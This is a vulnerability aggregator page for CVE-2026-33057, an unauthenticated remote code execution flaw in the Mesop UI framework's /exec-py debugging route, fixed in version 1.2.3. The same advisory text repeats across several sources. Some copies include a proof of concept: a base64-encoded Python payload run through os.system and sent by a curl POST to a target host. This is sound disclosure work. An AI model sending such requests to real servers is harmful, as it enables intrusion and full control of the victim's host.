CVE-2026-33057
Mesop Affected by Unauthenticated Remote Code Execution via Test Suite Route /exec-py
Mesop is a Python-based UI framework that allows users to build web applications. In versions 1.2.2 and below, an explicit web endpoint inside the ai/ testing module infrastructure directly ingests untrusted Python code strings unconditionally without authentication measures, yielding standard Unrestricted Remote Code Execution. Any individual capable of routing HTTP logic to this server block will gain explicit host-machine command rights. The AI codebase package includes a lightweight debugging Flask server inside ai/sandbox/wsgi_app.py. The /exec-py route accepts base_64 encoded raw string payloads inside the code parameter natively evaluated by a basic POST web request. It saves it rapidly to the operating system logic path and injects it recursively using execute_module(module_path...). This issue has been fixed in version 1.2.3.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
9.8
Mesop Affected by Unauthenticated Remote Code Execution via Test Suite Route /exec-py
Mesop is a Python-based UI framework that allows users to build web applications. In versions 1.2.2 and below, an explicit web endpoint inside the ai/ testing module infrastructure directly ingests untrusted Python code strings unconditionally without authentication measures, yielding standard Unrestricted Remote Code Execution. Any individual capable of routing HTTP logic to this server block will gain explicit host-machine command rights. The AI codebase package includes a lightweight debugging Flask server inside ai/sandbox/wsgi_app.py. The /exec-py route accepts base_64 encoded raw string payloads inside the code parameter natively evaluated by a basic POST web request. It saves it rapidly to the operating system logic path and injects it recursively using execute_module(module_path...). This issue has been fixed in version 1.2.3.
- Record
CVE-2026-33057- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-94
- Updated
- 2026-11-02
EUVDEUVD-2026-13618
9.8
Mesop is a Python-based UI framework that allows users to build web applications. In versions 1.2.2 and below, an explicit web endpoint inside the ai/ testing module infrastructure directly ingests untrusted Python code strings unconditionally without authentication measures, yielding standard Unrestricted Remote Code Execution. Any individual capable of routing HTTP logic to this server block will gain explicit host-machine command rights. The AI codebase package includes a lightweight debugging Flask server inside ai/sandbox/wsgi_app.py. The /exec-py route accepts base_64 encoded raw string payloads inside the code parameter natively evaluated by a basic POST web request. It saves it rapidly to the operating system logic path and injects it recursively using execute_module(module_path...). This issue has been fixed in version 1.2.3.
- Record
EUVD-2026-13618- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-gjgx-rvqr-6w6v
9.8
Mesop Affected by Unauthenticated Remote Code Execution via Test Suite Route /exec-py
Summary
An explicit web endpoint inside the ai/ testing module infrastructure directly ingests untrusted Python code strings unconditionally without authentication measures, yielding standard Unrestricted Remote Code Execution. Any individual capable of routing HTTP logic to this server block will gain explicit host-machine command rights.
Details
The AI codebase package includes a lightweight debugging Flask server inside ai/sandbox/wsgi_app.py. The /exec-py route accepts base_64 encoded raw string payloads inside the code parameter natively evaluated by a basic POST web request. It saves it rapidly to the operating system logic path and injects it recursively using execute_module(module_path...).
# ai/sandbox/wsgi_app.py
@flask_app.route("/exec-py", methods=["POST"])
def exec_py_route():
code = base64.urlsafe_b64decode(request.form.get("code"))
# ... code is blindly written to file and forcefully executed
PoC
# Payload:
# import os
# os.system('echo "pwned by attacker" > /tmp/pwned.txt')
#
# Base64 string represents the identical payload block above:
# aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ==
curl -X POST http://<target_ip_address_hosting_sandbox>:port/exec-py \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "code=aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ=="
# Validate exploitation target execution natively:
# $ cat /tmp/pwned.txt
# pwned by attacker
Impact
This presents trivial severity for systems publicly exposed or lacking strictly verified boundary firewalls due to absolute unauthenticated command injection privileges targeting the direct execution interpreter running this service sandbox.
- Record
GHSA-gjgx-rvqr-6w6v- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-94
- Updated
- 2026-11-02
NVD
9.8
Mesop is a Python-based UI framework that allows users to build web applications. In versions 1.2.2 and below, an explicit web endpoint inside the ai/ testing module infrastructure directly ingests untrusted Python code strings unconditionally without authentication measures, yielding standard Unrestricted Remote Code Execution. Any individual capable of routing HTTP logic to this server block will gain explicit host-machine command rights. The AI codebase package includes a lightweight debugging Flask server inside ai/sandbox/wsgi_app.py. The /exec-py route accepts base_64 encoded raw string payloads inside the code parameter natively evaluated by a basic POST web request. It saves it rapidly to the operating system logic path and injects it recursively using execute_module(module_path...). This issue has been fixed in version 1.2.3.
- Record
CVE-2026-33057- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-94
- Updated
- 2026-11-02
OSV
9.8
Mesop Affected by Unauthenticated Remote Code Execution via Test Suite Route /exec-py
Mesop is a Python-based UI framework that allows users to build web applications. In versions 1.2.2 and below, an explicit web endpoint inside the ai/ testing module infrastructure directly ingests untrusted Python code strings unconditionally without authentication measures, yielding standard Unrestricted Remote Code Execution. Any individual capable of routing HTTP logic to this server block will gain explicit host-machine command rights. The AI codebase package includes a lightweight debugging Flask server inside ai/sandbox/wsgi_app.py. The /exec-py route accepts base_64 encoded raw string payloads inside the code parameter natively evaluated by a basic POST web request. It saves it rapidly to the operating system logic path and injects it recursively using execute_module(module_path...). This issue has been fixed in version 1.2.3.
- Record
CVE-2026-33057- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-94
- Updated
- 2026-11-02
OSVGHSA-gjgx-rvqr-6w6v
9.8
Mesop Affected by Unauthenticated Remote Code Execution via Test Suite Route /exec-py
Summary
An explicit web endpoint inside the ai/ testing module infrastructure directly ingests untrusted Python code strings unconditionally without authentication measures, yielding standard Unrestricted Remote Code Execution. Any individual capable of routing HTTP logic to this server block will gain explicit host-machine command rights.
Details
The AI codebase package includes a lightweight debugging Flask server inside ai/sandbox/wsgi_app.py. The /exec-py route accepts base_64 encoded raw string payloads inside the code parameter natively evaluated by a basic POST web request. It saves it rapidly to the operating system logic path and injects it recursively using execute_module(module_path...).
# ai/sandbox/wsgi_app.py
@flask_app.route("/exec-py", methods=["POST"])
def exec_py_route():
code = base64.urlsafe_b64decode(request.form.get("code"))
# ... code is blindly written to file and forcefully executed
PoC
# Payload:
# import os
# os.system('echo "pwned by attacker" > /tmp/pwned.txt')
#
# Base64 string represents the identical payload block above:
# aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ==
curl -X POST http://<target_ip_address_hosting_sandbox>:port/exec-py \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "code=aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ=="
# Validate exploitation target execution natively:
# $ cat /tmp/pwned.txt
# pwned by attacker
Impact
This presents trivial severity for systems publicly exposed or lacking strictly verified boundary firewalls due to absolute unauthenticated command injection privileges targeting the direct execution interpreter running this service sandbox.
- Record
GHSA-gjgx-rvqr-6w6v- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-94
- Updated
- 2026-11-02
OSVPYSEC-2026-412
9.8
Mesop Affected by Unauthenticated Remote Code Execution via Test Suite Route /exec-py
Summary
An explicit web endpoint inside the ai/ testing module infrastructure directly ingests untrusted Python code strings unconditionally without authentication measures, yielding standard Unrestricted Remote Code Execution. Any individual capable of routing HTTP logic to this server block will gain explicit host-machine command rights.
Details
The AI codebase package includes a lightweight debugging Flask server inside ai/sandbox/wsgi_app.py. The /exec-py route accepts base_64 encoded raw string payloads inside the code parameter natively evaluated by a basic POST web request. It saves it rapidly to the operating system logic path and injects it recursively using execute_module(module_path...).
# ai/sandbox/wsgi_app.py
@flask_app.route("/exec-py", methods=["POST"])
def exec_py_route():
code = base64.urlsafe_b64decode(request.form.get("code"))
# ... code is blindly written to file and forcefully executed
PoC
# Payload:
# import os
# os.system('echo "pwned by attacker" > /tmp/pwned.txt')
#
# Base64 string represents the identical payload block above:
# aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ==
curl -X POST http://<target_ip_address_hosting_sandbox>:port/exec-py \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "code=aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ=="
# Validate exploitation target execution natively:
# $ cat /tmp/pwned.txt
# pwned by attacker
Impact
This presents trivial severity for systems publicly exposed or lacking strictly verified boundary firewalls due to absolute unauthenticated command injection privileges targeting the direct execution interpreter running this service sandbox.
- Record
PYSEC-2026-412- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
mesopPyPI |
through 1.2.2 | 1.2.3 |
mesopPyPI |
before 1.2.3, plus listed versions 0.0.10.10.00.10.0rc00.10.0rc10.10.0rc2 Show 45 moreShow less0.11.00.11.0rc00.11.10.12.00.12.0rc00.12.10.12.10b10.12.10b20.12.10b30.12.10rc10.12.1rc00.12.20.12.30.12.3rc00.12.40.12.4rc00.12.50.12.5b10.12.5rc10.12.60.12.6rc10.12.70.12.7b10.12.7rc10.12.80.12.8b10.12.8rc10.12.90.12.9rc10.13.00.13.0rc10.14.00.14.10.14.1rc10.14.2b10.14.2b20.14.2rc10.14rc10.3.10.3.20.3.30.3.40.4.00.4.10.4.2 |
1.2.3 |
Public exploits
Links only. Every CVE stores no exploit code.
| Source | Link | Date |
|---|---|---|
| Nuclei | Mesop AI Sandbox <= 1.2.2 - Remote Code Execution | |
| PoC in GitHub | hackpatato/CVE-2026-33057---Mesop-Unauthenticated-RCE-PoC-and-yara-rules | 2026-08-28 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, Nuclei, NVD, OSV, PoC in GitHub |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-33057 is a critical vulnerability (CVSS 9.8) in Mesop-dev Mesop, published March 18, 2026. Public exploit code exists. EPSS puts the chance of exploitation in the next 30 days at 5.41%, the 92nd percentile. Fixed in mesop 1.2.3.
References
github.com/mesop-dev/mesop/security/advisories/GHSA-gjgx-rvqr-6w6v
github.com/mesop-dev/mesop/commit/825f55970c20686de3f28e2c66df4d74e9d4db47
nvd.nist.gov/vuln/detail/CVE-2026-33057
github.com/advisories/GHSA-gjgx-rvqr-6w6v
github.com/CVEProject/cvelistV5/tree/main/cves/2026/33xxx/CVE-2026-33057.json
github.com/mesop-dev/mesop
pypi.org/project/mesop
Left out here: 42 versions. The JSON record has them.